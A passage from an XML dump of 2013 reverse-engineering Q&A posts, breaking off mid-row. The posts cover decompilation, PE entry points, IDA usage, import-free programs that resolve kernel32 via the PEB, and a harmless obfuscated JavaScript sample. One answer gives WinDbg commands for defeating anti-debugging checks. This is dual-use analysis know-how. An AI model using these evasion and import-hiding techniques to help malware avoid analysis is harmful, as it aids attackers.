  <row Id="2083" PostTypeId="2" ParentId="2082" CreationDate="2013-05-23T06:02:53.667" Score="6" Body="&lt;p&gt;I am not sure if plugins exist but you can write simple scripts like below to hide WinDbg on case to case basis.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;Peb-&amp;gt;BeingDebugged&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r?$t0 = (ntdll!_peb *) @$peb;?? @$t0-&amp;gt;BeingDebugged;eb (@$t0+2) 0;?? @$t0-&amp;gt;BeingDebugged&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;ZwSetInformationThread&lt;/code&gt; (XP SP3 syscalls with &lt;code&gt;sysenter&lt;/code&gt;)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bp ntdll!ZwSetInformationThread &quot;r eip = $ip+0n12 ; r eax = 0; gc&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;ZwQueryInformationProcess&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;syntax similar to &lt;code&gt;ZwSetInformationThread&lt;/code&gt; in addition you would also need to fakeout DebugPort to NULL with  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ed poi(ADDRESS)  0&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Reading&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Peter Ferrie's &lt;a href=&quot;http://pferrie.host22.com/papers/unp2011.htm&quot; rel=&quot;nofollow&quot;&gt;&quot;Ultimate&quot; Anti-Debugging Reference&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="245" LastEditDate="2013-05-30T13:20:39.517" LastActivityDate="2013-05-30T13:20:39.517" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2084" PostTypeId="2" ParentId="2073" CreationDate="2013-05-23T08:27:55.207" Score="22" Body="&lt;p&gt;I like Robert explanation, it has a very good example, but.. I think it misses the point of which is the real purpose of this instruction.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;is done as a debugging aid and in some cases for exception handling&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well.. not really, not only. It is part of the standard function prologue for x86 (32 bit), and it is the (common) technique to set up a function stack frame, so that parameters and locals are accessible as fixed offsets of &lt;code&gt;ebp&lt;/code&gt;, which is, after all, the *B*ase frame *P*ointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making &lt;code&gt;ebp&lt;/code&gt; equal to &lt;code&gt;esp&lt;/code&gt; at function entry, you will have a fixed, relative pointer inside the stack, that will not change for the lifetime of your function, and you will able to access parameters and locals as (fixed) positive and (fixed) negative offsets, respectively, to &lt;code&gt;ebp&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can or cannot see this standard prologue in release, optimized code: optimizers can do (and often do) FPO (frame pointer optimization) to get rid of &lt;code&gt;ebp&lt;/code&gt; and just use &lt;code&gt;esp&lt;/code&gt; inside your function to access params and locals. This is much trickier (I would not do it by hand) as &lt;code&gt;esp&lt;/code&gt; can vary during the function lifetime, and therefore a parameter, for example, can be accessed using 2 different offsets at two distinct points in the code.&lt;/p&gt;&#xA;" OwnerUserId="2045" LastEditorUserId="2058" LastEditDate="2013-05-25T21:03:48.093" LastActivityDate="2013-05-25T21:03:48.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2085" PostTypeId="2" ParentId="2082" CreationDate="2013-05-23T08:35:42.133" Score="4" Body="&lt;p&gt;I don't think such a plugin currently exists. However, if you're willing to implement a minimal windbg backend, you could extend &lt;a href=&quot;http://code.google.com/p/uberstealth&quot; rel=&quot;nofollow&quot;&gt;uberstealth&lt;/a&gt;, which unfortunately I've never come to finish as a project (actually I think anti-debugging is a dead anyway, but that's another story ;-)).&#xA;It's essentially IDAStealth, but with all debugger specific functionality factored out (there's a backend for IDA and Olly2). All you'd have to do is write a backend for Windbg (and fix the remaining bugs, I could help you with that though), all other code is debugger independent.&#xA;Should be less than a few dozen lines of code.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="1379" LastEditDate="2013-05-23T11:49:08.763" LastActivityDate="2013-05-23T11:49:08.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2086" PostTypeId="1" CreationDate="2013-05-23T09:17:42.460" Score="7" ViewCount="24458" Body="&lt;p&gt;I have the ROM dump (.bin files) targeted for the MC68008 processor. Need to convert them into a high level source code. I have already found tools for disassmbling them into assembly code. The next step is converting them to C code. But I could not find any tool that works. I have already tried the following decompilers with no success: RecStudio, Boomerang, Decompiler 0.2.4, IDA Pro with Hex-Rays.&lt;/p&gt;&#xA;" OwnerUserId="2047" LastActivityDate="2015-07-24T22:41:01.853" Title="Is there any tool for decompiling raw binary files to C code for the Motorola 68000 processor series?" Tags="|decompilation|binary-analysis|decompiler|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2087" PostTypeId="2" ParentId="2086" CreationDate="2013-05-23T09:46:42.897" Score="4" Body="&lt;p&gt;I don't think any public tool for decompilation of M68K exists. You will probably need to do it yourself (write a decompilation tool) or do manual decompilation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend you to give a try to writing a decompiler for your project if it's worth the effort: even if your decompiler is not very good, it will help you a lot in manual decompilation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, manual decompilation is very tedious; perhaps &quot;horrible&quot; is a better definition... In my opinion, it's probably the most tedious task in RE.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2013-05-23T09:46:42.897" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2088" PostTypeId="2" ParentId="2086" CreationDate="2013-05-23T13:08:54.677" Score="4" Body="&lt;p&gt;(reposting &lt;a href=&quot;https://stackoverflow.com/a/16668936/422797&quot;&gt;answer from SO&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MicroAPL offers a tool called &lt;a href=&quot;http://www.microapl.com/asm2c/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Relogix&lt;/a&gt; which is supposedly able to do it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.microapl.com/asm2c/sample.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.microapl.com/asm2c/sample.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-05-23T13:24:39.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2089" PostTypeId="2" ParentId="2079" CreationDate="2013-05-23T14:09:27.677" Score="13" Body="&lt;p&gt;Both, &lt;code&gt;DllMain&lt;/code&gt; and &lt;code&gt;DllEntryPoint&lt;/code&gt; are merely symbolic names of the same &lt;em&gt;concept&lt;/em&gt;. They even share the same prototype. But they aren't the same:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The function must be defined with the &lt;code&gt;__stdcall&lt;/code&gt; calling convention.&#xA;  The parameters and return value must be defined as documented in the&#xA;  Win32 API for &lt;code&gt;WinMain&lt;/code&gt; (for an .exe file) or &lt;code&gt;DllEntryPoint&lt;/code&gt; (for a DLL).&#xA;  It is recommended that you let the linker set the entry point so that&#xA;  the C run-time library is initialized correctly, and C++ constructors&#xA;  for static objects are executed.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;(MSDN Library from Visual Studio 2005)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The entry point in a DLL is the same as in an EXE &lt;em&gt;technically&lt;/em&gt;, but with different semantics and prototype (EXE vs. DLL). Both are to be found at &lt;code&gt;IMAGE_OPTIONAL_HEADER::AddressOfEntryPoint&lt;/code&gt;. However, in a DLL this entry point is optional (although usually supplied by the runtime library). &lt;strong&gt;The entry point isn't explicitly exported through the export directory&lt;/strong&gt; (although IDA for example shows them under &quot;Exports&quot;). Most of the time there is no public name attached to this entry point, which is why the documentation refers to it as &lt;code&gt;DllEntryPoint&lt;/code&gt;. If you find this name in the export directory of the PE file it's probably not the actual entry point from the PE optional header (this would have to be confirmed by looking at the exact sample, though). The last point, btw, holds for &lt;code&gt;DllMain&lt;/code&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms682583%28v=vs.85%29.aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;DllMain&lt;/code&gt;&lt;/a&gt; is the name the &lt;strong&gt;runtime library&lt;/strong&gt; (ATL, MFC ...) implementation expects you to supply. It's a name the linker will see &lt;em&gt;referenced&lt;/em&gt; from the default implementation of &lt;code&gt;DllEntryPoint&lt;/code&gt; which is named &lt;code&gt;_DllMainCRTStartup&lt;/code&gt; in the runtime implementations. See the CRT source files &lt;code&gt;crtdll.c&lt;/code&gt; and &lt;code&gt;dllcrt0.c&lt;/code&gt; if you have Visual Studio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that &lt;code&gt;DllEntryPoint&lt;/code&gt; &lt;strong&gt;calls&lt;/strong&gt; &lt;code&gt;DllMain&lt;/code&gt; - assuming default behavior. The runtime-implemented entry point function (&lt;code&gt;_DllMainCRTStartup&lt;/code&gt;) does other initialization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can override this name by using the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/f9t8842e%28v=vs.80%29.aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;/entry&lt;/code&gt; command line switch&lt;/a&gt; to the linker. Again, it's just a name and you can choose whatever you fancy. The limitations (not being able to load another DLL using &lt;code&gt;LoadLibrary&lt;/code&gt; from within the entry point and so on) are independent of the name you give the function.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Side-note: in an EXE the TLS callbacks run before the entry point code, which can be dangerous in malware research. &lt;s&gt;I don't think this is relevant to DLLs, though, but if someone has more knowledge in that area I'm interested to see pointers to material.&lt;/s&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/users/1323/peter-ferrie&quot;&gt;Peter Ferrie&lt;/a&gt;, a distinguished reverser and malware analyst, pointed out in a comment to this answer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TLS callbacks always run in statically-linked DLLs, and since Vista,&#xA;  they also run in dynamically-linked DLLs! For more information, see my&#xA;  &lt;a href=&quot;http://pferrie.host22.com/papers/com2008.htm&quot; rel=&quot;noreferrer&quot;&gt;TLS presentations&lt;/a&gt;, and of&#xA;  course my &lt;a href=&quot;http://pferrie.host22.com/papers/unp2011.htm&quot; rel=&quot;noreferrer&quot;&gt;&quot;Ultimate&quot; Anti-Debugging Reference&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thanks Peter.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-05-24T18:36:03.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2090" PostTypeId="2" ParentId="2086" CreationDate="2013-05-23T21:39:10.123" Score="3" Body="&lt;p&gt;It's not very surprising that Hex-Rays was unable to decompile those files, seeing as Hex-Rays supports the x86 and ARM processor families (in separate editions).  If you do find a tool for decompiling code for that processor family, it will be subject to the limitations that I laid out in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/311/why-are-machine-code-decompilers-less-capable-than-for-example-those-for-the-clr&quot;&gt;this answer&lt;/a&gt;.  In fact, for ROM dumps, the situation will be even more dire than what was described therein.  In short, machine code decompilation is not a point-and-click type of affair as it is for managed languages.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-05-23T21:39:10.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2091" PostTypeId="1" CreationDate="2013-05-24T08:54:44.027" Score="2" ViewCount="84" Body="&lt;p&gt;I'm relatively new in the field of automatic malware analysis and I'd like to ask about hands-on opinions about sandboxes in the following aspects:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;extensibility of the product - adding your own modules, interfere in the analysis process, ease of the process inself.&lt;/li&gt;&#xA;&lt;li&gt;depth of report generation&lt;/li&gt;&#xA;&lt;li&gt;malware detection evasion and if it is possible to change this logic&lt;/li&gt;&#xA;&lt;li&gt;performance issues&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Till now I've been able to check cuckoobox system and it looks quiet promissing. I'd be glad to heir someones opinion (from personal experience) about that product too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx in advance.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2013-05-24T08:54:44.027" Title="Opinions and suggestions regarding malware sandboxes" Tags="|malware|automation|" AnswerCount="0" CommentCount="2" ClosedDate="2013-05-24T09:38:07.253" ContentLicense="CC BY-SA 3.0" />
  <row Id="2092" PostTypeId="1" AcceptedAnswerId="2094" CreationDate="2013-05-24T20:33:55.447" Score="7" ViewCount="1849" Body="&lt;p&gt;while reading the answers to &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/2070/245&quot;&gt;Can I statically link (not import) the Windows system DLLs?&lt;/a&gt; I came up with another question. So: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there a way to write a program that has no dependencies (nothing is statically compiled too - it has &lt;strong&gt;only&lt;/strong&gt; my code) and everything is resolved during run-time assuming that &lt;code&gt;kernel32.dll&lt;/code&gt; will be loaded/mapped into the process no matter what?&lt;/li&gt;&#xA;&lt;li&gt;Is my assumption about &lt;code&gt;kernel32.dll&lt;/code&gt; correct?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;During run-time, I mean using the &lt;code&gt;PEB&lt;/code&gt; structure.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2013-05-26T15:17:47.560" Title="Program with no dependencies" Tags="|windows|malware|development|winapi|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2093" PostTypeId="2" ParentId="2092" CreationDate="2013-05-24T22:02:27.670" Score="3" Body="&lt;p&gt;This isn't a very portable trick, but kernel32.dll is always loaded at the same address when the executable is launched, that means LoadLibraryA and GetProcAddress are always at the same address. You could hard-code those offsets and go from there.&lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2013-05-24T22:02:27.670" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2094" PostTypeId="2" ParentId="2092" CreationDate="2013-05-24T22:22:26.493" Score="9" Body="&lt;p&gt;If you're asking about PE files, and by &quot;no dependencies&quot; you mean &quot;no statically imported DLLs&quot;, then yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;code&gt;\yoda\NoImports.exe&lt;/code&gt; in &lt;a href=&quot;https://corkami.googlecode.com/files/BinaryCorpus_v2.zip&quot;&gt;https://corkami.googlecode.com/files/BinaryCorpus_v2.zip&lt;/a&gt; as an example.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-05-24T22:22:26.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2095" PostTypeId="2" ParentId="2092" CreationDate="2013-05-25T16:33:43.447" Score="2" Body="&lt;p&gt;Yes, a program that has no dependencies is possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To imports APi, it needs first to locate kernel32 (via stack+&lt;code&gt;MZ&lt;/code&gt; scanning, or &lt;code&gt;PEB&lt;/code&gt;) then locate exports (via exports parsing or &lt;a href=&quot;http://code.google.com/p/corkami/source/browse/trunk/asm/PE/hard_imports.asm?r=1458&quot; rel=&quot;nofollow&quot;&gt;hard-coded&lt;/a&gt; values).&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-05-25T16:33:43.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2096" PostTypeId="1" AcceptedAnswerId="2099" CreationDate="2013-05-25T19:15:24.437" Score="45" ViewCount="23046" Body="&lt;p&gt;How could this 32-bit x86 assembly be written in C?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_536FB0:&#xA;mov cl, [eax]&#xA;cmp cl, ' '&#xA;jb short loc_536FBC&#xA;cmp cl, ','&#xA;jnz short loc_536FBF&#xA;&#xA;loc_536FBC:&#xA;mov byte ptr [eax], ' '&#xA;&#xA;loc_536FBF&#xA;mov cl, [eax+1]&#xA;inc eax&#xA;test cl, cl&#xA;jnz short loc_536FB0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have already figured out that it is a for loop that loops 23 times before exiting.&lt;/p&gt;&#xA;" OwnerUserId="2072" LastEditorUserId="8247" LastEditDate="2014-11-28T15:57:56.517" LastActivityDate="2020-08-29T11:17:45.050" Title="convert this x86 ASM to C?" Tags="|assembly|x86|c|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2097" PostTypeId="2" ParentId="2096" CreationDate="2013-05-25T19:42:40.237" Score="10" Body="&lt;p&gt;Well, especially for that, &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/index.shtml&quot;&gt;Hex-Rays Decompiler&lt;/a&gt; was invented. It will decompile ASM code into pseudo-C, and from there You may write C-based logic of assembly code You have. &lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2013-05-25T19:42:40.237" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2098" PostTypeId="1" AcceptedAnswerId="2100" CreationDate="2013-05-25T20:10:23.460" Score="14" ViewCount="2226" Body="&lt;p&gt;For example, in the following disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:007C6834 014                 mov     eax, [esi+4]&#xA;.text:007C6837 014                 mov     dword ptr [esi], offset ??_7CAvatar@@6B@ ; const CAvatar::`vftable'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I be able to set the type of the esi register to a struct, so that in an ideal world the disassembly would turn into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:007C6834 014                 mov     eax, [esi.field_04]&#xA;.text:007C6837 014                 mov     dword ptr [esi.vtable], offset ??_7CAvatar@@6B@ ; const CAvatar::`vftable'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="266" LastActivityDate="2013-05-26T02:25:22.450" Title="How do you set registers as structs within a function in IDA?" Tags="|ida|disassembly|struct|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2099" PostTypeId="2" ParentId="2096" CreationDate="2013-05-25T20:11:41.257" Score="134" Body="&lt;p&gt;Such small snippets are not too hard to decompile manually. Let's try it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have already figured out that &lt;code&gt;cl&lt;/code&gt; holds a character, this means that &lt;code&gt;eax&lt;/code&gt; where it's read from is a pointer to a character array. Let's call it &lt;code&gt;p&lt;/code&gt;. Now, let's do a dumb translation for every assembly statement to C:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;l1:            ; l1:&#xA;mov cl, [eax]  ;   cl = *p;&#xA;cmp cl, ' '    ;   if ( cl &amp;lt; ' ' )&#xA;jb short l2    ;     goto l2&#xA;cmp cl, ','    ;   if ( cl != ',' )&#xA;jnz short l3   ;     goto l3&#xA;&#xA;l2:                      ; l2:&#xA;mov byte ptr [eax], ' '  ;   *p = ' '&#xA;&#xA;l3:                  ; l3:&#xA;mov cl, [eax+1]      ; cl = *(p+1)&#xA;inc eax              ; p = p + 1&#xA;test cl, cl          ; if ( cl != 0 )&#xA;jnz short l1         ;   goto l1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And cleaned up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;l1:               &#xA;  cl = *p;&#xA;  if ( cl &amp;lt; ' ' ) &#xA;    goto l2;&#xA;  if ( cl != ',' )&#xA;    goto l3;       &#xA;l2:       &#xA;  *p = ' ';&#xA;l3:           &#xA;  cl = *(p+1);&#xA;  p = p + 1;     &#xA;  if ( cl != 0 )&#xA;    goto l1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, let's have a look at the second &lt;code&gt;if&lt;/code&gt;. It has the following form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( condition )&#xA;  goto end_of_if;&#xA;  &amp;lt;if body&amp;gt;&#xA;end_of_if:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's how we can get rid of the &lt;code&gt;goto&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !condition )&#xA;{&#xA;  &amp;lt;if body&amp;gt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Applying it to our snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;l1:               &#xA;  cl = *p;&#xA;  if ( cl &amp;lt; ' ' ) &#xA;    goto l2;&#xA;  if ( cl == ',' )  {&#xA;l2:       &#xA;    *p = ' ';&#xA;  }&#xA;  cl = *(p+1);&#xA;  p = p + 1;     &#xA;  if ( cl != 0 )&#xA;    goto l1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, how we can get rid of &lt;code&gt;goto l2&lt;/code&gt;? If you look at it carefully, you can see that the body at &lt;code&gt;l2&lt;/code&gt; will get executed if &lt;em&gt;either&lt;/em&gt; &lt;code&gt;cl &amp;lt; ' '&lt;/code&gt; &lt;em&gt;or&lt;/em&gt; &lt;code&gt;cl == ','&lt;/code&gt;. So we can just combine the two conditions with a logical OR (&lt;code&gt;||&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;l1:               &#xA;  cl = *p;&#xA;  if ( cl &amp;lt; ' ' || cl == ',' ) {&#xA;    *p = ' ';&#xA;  }&#xA;  cl = *(p+1);&#xA;  p = p + 1;     &#xA;  if ( cl != 0 )&#xA;    goto l1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we have one &lt;code&gt;goto&lt;/code&gt; left. We have: 1) label at the beginning of a statement block 2) check at the end of the block and 3) goto to the start of the block if the check succeeded. This is a typical pattern of a &lt;code&gt;do-while&lt;/code&gt; loop, and we can easily convert it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do {&#xA;  cl = *p;&#xA;  if ( cl &amp;lt; ' ' || cl == ',' ) {&#xA;    *p = ' ';&#xA;  }&#xA;  cl = *(p+1);&#xA;  p = p + 1;     &#xA;} while ( cl != 0 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the code is almost nice and pretty, but we can compress it a bit more by substituting equivalent statements:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do {&#xA;  if ( *p &amp;lt; ' ' || *p == ',' )&#xA;    *p = ' ';&#xA;  cl = *++p;&#xA;} while ( cl != 0 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, finally, the last assignment can be moved into the condition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do {&#xA;  if ( *p &amp;lt; ' ' || *p == ',' )&#xA;    *p = ' ';&#xA;} while ( *++p != 0 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now it's obvious what the code is doing: it's going through the string, and replacing all special characters (those with codes less than 0x20 aka space) and commas with the spaces.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2015-06-14T11:22:50.800" LastActivityDate="2015-06-14T11:22:50.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2100" PostTypeId="2" ParentId="2098" CreationDate="2013-05-25T20:20:30.787" Score="14" Body="&lt;ol&gt;&#xA;&lt;li&gt;Create a struct&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Apply the struct in one the four ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;use the &lt;kbd&gt;T&lt;/kbd&gt; hotkey.&lt;/li&gt;&#xA;&lt;li&gt;Right-click the operand and choose the struct from &quot;Structure offset&quot; submenu.&lt;/li&gt;&#xA;&lt;li&gt;menu Edit|Operand types|Offset|Offset (struct)&lt;/li&gt;&#xA;&lt;li&gt;use the corresponding button on the Operand Type toolbar&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's a short tutorial: &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/structs.shtml&quot;&gt;https://www.hex-rays.com/products/ida/support/tutorials/structs.shtml&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-05-25T20:20:30.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2101" PostTypeId="1" CreationDate="2013-05-25T21:04:15.587" Score="5" ViewCount="3685" Body="&lt;p&gt;I have dumped process and several dumped pages of memory that were allocated in it. How can I load everything in IDA into one DB and reference pages in the loaded process?&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2013-05-27T13:02:51.557" LastActivityDate="2013-05-27T19:16:06.570" Title="How to load a dumped process and several accompanied memory pages in IDA?" Tags="|ida|malware|decompilation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2102" PostTypeId="2" ParentId="2096" CreationDate="2013-05-25T21:23:39.303" Score="5" Body="&lt;p&gt;Here's what it would have looked like in the source. Fastcall being a replacement for the custom leaf convention the compiler used when it was optimized.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __fastcall __forceinline RemoveControlChars(char* szInput) {&#xA;    int i;&#xA;    for (i = 0; i &amp;lt; 23 &amp;amp;&amp;amp; *szInput; ++i, ++szInput) {&#xA;        if (*szInput &amp;lt; ' ' || *szInput == ',')&#xA;            *szInput = ' ';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2074" LastEditorUserId="2074" LastEditDate="2013-06-04T02:43:32.243" LastActivityDate="2013-06-04T02:43:32.243" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2103" PostTypeId="1" CreationDate="2013-05-26T02:24:51.137" Score="11" ViewCount="23849" Body="&lt;p&gt;According to the &lt;a href=&quot;http://techyzilla.blogspot.ca/2012/09/better-javascript-obfuscating-method-to-protect-your-code.html&quot;&gt;techy zilla blog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be much harder to deobfuscate code that has been obfuscated using multiple obfuscating algorithms. According to them, jsbeautifier can't fix this obfuscated code. Can you find another way to deobfuscate this type of obfuscation? If not, what is the closest you can get?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var _0x2815=[&quot;\x33\x20\x31\x28\x29\x7B\x32\x20\x30\x3D\x35\x3B\x34\x20\x30\x7D&quot;,&quot;\x7C&quot;,&quot;\x73\x70\x6C\x69\x74&quot;,&quot;\x78\x7C\x6D\x79\x46\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x76\x61\x72\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x72\x65\x74\x75\x72\x6E\x7C&quot;,&quot;\x72\x65\x70\x6C\x61\x63\x65&quot;,&quot;&quot;,&quot;\x5C\x77\x2B&quot;,&quot;\x5C\x62&quot;,&quot;\x67&quot;];eval(function (_0xf81fx1,_0xf81fx2,_0xf81fx3,_0xf81fx4,_0xf81fx5,_0xf81fx6){_0xf81fx5=function (_0xf81fx3){return _0xf81fx3;} ;if(!_0x2815[5][_0x2815[4]](/^/,String)){while(_0xf81fx3--){_0xf81fx6[_0xf81fx3]=_0xf81fx4[_0xf81fx3]||_0xf81fx3;} ;_0xf81fx4=[function (_0xf81fx5){return _0xf81fx6[_0xf81fx5];} ];_0xf81fx5=function (){return _0x2815[6];} ;_0xf81fx3=1;} ;while(_0xf81fx3--){if(_0xf81fx4[_0xf81fx3]){_0xf81fx1=_0xf81fx1[_0x2815[4]]( new RegExp(_0x2815[7]+_0xf81fx5(_0xf81fx3)+_0x2815[7],_0x2815[8]),_0xf81fx4[_0xf81fx3]);} ;} ;return _0xf81fx1;} (_0x2815[0],6,6,_0x2815[3][_0x2815[2]](_0x2815[1]),0,{}));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" 